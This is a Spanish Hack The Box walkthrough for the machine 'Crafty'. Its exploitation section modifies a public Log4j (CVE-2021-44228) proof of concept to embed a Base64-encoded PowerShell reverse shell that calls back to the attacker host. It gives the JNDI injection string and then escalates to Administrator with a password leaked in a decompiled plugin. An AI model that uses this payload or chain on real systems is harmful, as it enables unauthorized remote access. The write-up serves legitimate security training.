Descripción

Crafty es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Vulnerabilidad de ejecución remota de comandos de Minecraft 1.16.5 Log4j
  • Exposición de datos sensibles en un complemento de Minecraft
  • Elevación de privilegios mediante una credencial filtrada

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.222.13.

$ ping -c 3 10.129.222.13
PING 10.129.222.13 (10.129.222.13) 56(84) bytes of data.
64 bytes from 10.129.222.13: icmp_seq=1 ttl=127 time=42.5 ms
64 bytes from 10.129.222.13: icmp_seq=2 ttl=127 time=46.6 ms
64 bytes from 10.129.222.13: icmp_seq=3 ttl=127 time=43.0 ms

--- 10.129.222.13 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 42.516/44.063/46.626/1.824 ms

La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.222.13 -sS -oN nmap_scan 
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.222.13
Host is up (0.057s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 8.61 seconds

Tenemos un puerto abierto, el 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.222.13 -sV -sC -p80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.222.13
Host is up (0.063s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://crafty.htb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.99 seconds

Conseguimos un servicio: un Hypertext Transfer Protocol (HTTP). Añadimos el dominio, crafty.htb a nuestro archivo /etc/hosts.

$ echo "10.129.222.13 crafty.htb" | sudo tee -a /etc/hosts

Encontramos una página web relacionada con el videojuego Minecraft y un subdominio, play.crafty.htb, agregamos el subdominio a nuestro archivo /etc/hosts.

$ echo "10.129.222.13 play.crafty.htb" | sudo tee -a /etc/hosts

Esto no funciona ya que estamos siendo redireccionados a la página crafty.htb. Minecraft es un juego multijugador y sus servidores son comúnmente alojados en puerto 25565.

$ nmap 10.129.222.13 -sV -sC -p25565 -oN nmap_scan_ports_mine
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for crafty.htb (10.129.222.13)
Host is up (0.044s latency).

PORT      STATE SERVICE   VERSION
25565/tcp open  minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.45 seconds

Encontramos que un servidor Minecraft con la versión 1.16.5 está funcionando. Esta versión es vulnerable a la vulnerabilidad de Java Log4j CVE-2021-44228.

Explotación

Para explotar esta vulnerabilidad necesitamos hacer dos pasos: primero tenemos que descargar Minecraft-Console-Client (una consola ligera para el chat de Minecraft) en nuestra máquina, conectarse al servidor y tener acceso al chat en el juego para introducir la carga útil. Por otro lado, tendremos que crear nuestro servidor malicioso que creará un servidor HTTP y LDAP que contendrá el código malicioso. Entraremos con un nombre de usuario, por ejemplo user y una contraseña vacía.

$ wget https://github.com/MCCTeam/Minecraft-Console-Client/releases/download/20240130-245/MinecraftClient-20240130-245-linux-x64
$ chmod +x MinecraftClient-20240130-245-linux-x64
$ ./MinecraftClient-20240130-245-linux-x64
$ minecraft-launcher
Minecraft Console Client v1.20.2 - for MC 1.4.6 to 1.20.2 - Github.com/MCCTeam
GitHub build 245, built on 2024-01-30 from commit 1e60b61
Settings file MinecraftClient.ini has been generated.

MCC is running with default settings.
Login :
Password(invisible): 
You chose to run in offline mode.
Server IP : 
Retrieving Server Info...
Server version : 1.16.5 (protocol v754)
[MCC] Version is supported.
Logging in...
[MCC] Server is in offline mode.
[MCC] Server was successfully joined.
Type '/quit' to leave the server.
<test> hi
>

Luego creamos nuestro servidor malicioso utilizando la prueba de concepto de kozmer. Descargaremos el proyecto e instalaremos sus dependencias incluyendo Java JDK.

$ git clone https://github.com/kozmer/log4j-shell-poc
$ cd log4j-shell-poc
$ python3 -m virtualenv log4j
$ source log4j/bin/activate
$ pip install -r requirements.txt
$ wget https://download.oracle.com/otn/java/jdk/8u20-b26/jdk-8u20-linux-x64.tar.gz
$ tar xvzf jdk-8u20-linux-x64.tar.gz

Luego modificamos el archivo poc.py con la clase Java que queremos inyectar, en este caso crearemos una shell inversa usando una cadena codificada en Base64 con PowerShell.

def generate_payload(userip: str, lport: int) -> None:
    program = """
public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANAA5ACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
"""

Luego iniciamos los servidores LDAP y HTTP.

$ python3 poc.py --userip 10.10.14.49 --webport 8000 --lport 9001

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://10.10.14.49:1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389

Conseguimos la cadena que tendremos que inyectar en el chat, ${jndi:ldap://10.10.14.49:1389/a}. Antes de entrar en él, abriremos un puerto de escucha para nuestra terminal inversa.

$ nc -lvnp 9001

Obtenemos la terminal inversa tras introducir la cadena en el chat.

$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.49] from (UNKNOWN) [10.129.222.13] 49708

PS C:\users\svc_minecraft\server> whoami
crafty\svc_minecraft

Post-Explotación

Estamos conectados como el usuario svc_minecraft. Encontramos otro usuario en el sistema, jacob.

PS C:\users\svc_minecraft\server> net users

User accounts for \\CRAFTY

Administrator            DefaultAccount           Guest                    
jacob                    svc_minecraft            WDAGUtilityAccount       
The command completed successfully.

En esta carpeta, encontramos una subcarpeta llamada plugins, con el complemento de Minecraft playercounter-1.0-SNAPSHOT.jar. Podemos extraerlo y descompilarlo con la herramienta JADX. Obtenemos este código fuente.

package htb.crafty.playercounter;

import java.io.IOException;

import java.io.PrintWriter;
import net.kronos.rkon.core.Rcon;
import net.kronos.rkon.core.ex.AuthenticationException;
import org.bukkit.plugin.java.JavaPlugin;

public final class Playercounter extends JavaPlugin {

    public void onEnable() {
        try {
            Rcon rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());
            try {
                String result = rcon.command("players online count");
                PrintWriter writer = new PrintWriter("C:\\inetpub\\wwwroot\\playercount.txt", "UTF-8");
                writer.println(result);
            } catch (IOException e3) {
                throw new RuntimeException(e3);
            }
        } catch (IOException e) {
            throw new RuntimeException(e);
        } catch (AuthenticationException e2) {
            throw new RuntimeException(e2);
        }
    }

    public void onDisable() {
    }
}

Encontramos que se está creando un nuevo objeto Rcon. En los argumentos encontramos una contraseña, s67u84zKq8IXw. Podemos comprobar con la herramienta RunasCs si la contraseña se está reutilizando para el usuario jacob.

PS C:\users\svc_minecraft\Documents> .\RunasCs.exe jacob s67u84zKq8IXw "powershell whoami"
[-] RunasCsException: LogonUser failed with error code: The user name or password is incorrect

Es incorrecto. Vamos a comprobar el usuario Administrator.

PS C:\users\svc_minecraft\Documents> .\RunasCs.exe Administrator s67u84zKq8IXw "powershell whoami"

crafty\administrator

Funciona. Ahora podemos crear otra terminal inversa o ejecutar comandos como el usuario Administrador.

Flags

Con permisos de Administrador podemos obtener la flag de usuario y la flag del sistema.

PS C:\users\svc_minecraft\Documents> .\RunasCs.exe Administrator s67u84zKq8IXw "powershell cat C:\Users\svc_minecraft\Desktop\user.txt"
<REDACTED>
PS C:\users\svc_minecraft\Documents> .\RunasCs.exe Administrator s67u84zKq8IXw "powershell cat C:\Users\Administrator\Desktop\root.txt"
<REDACTED>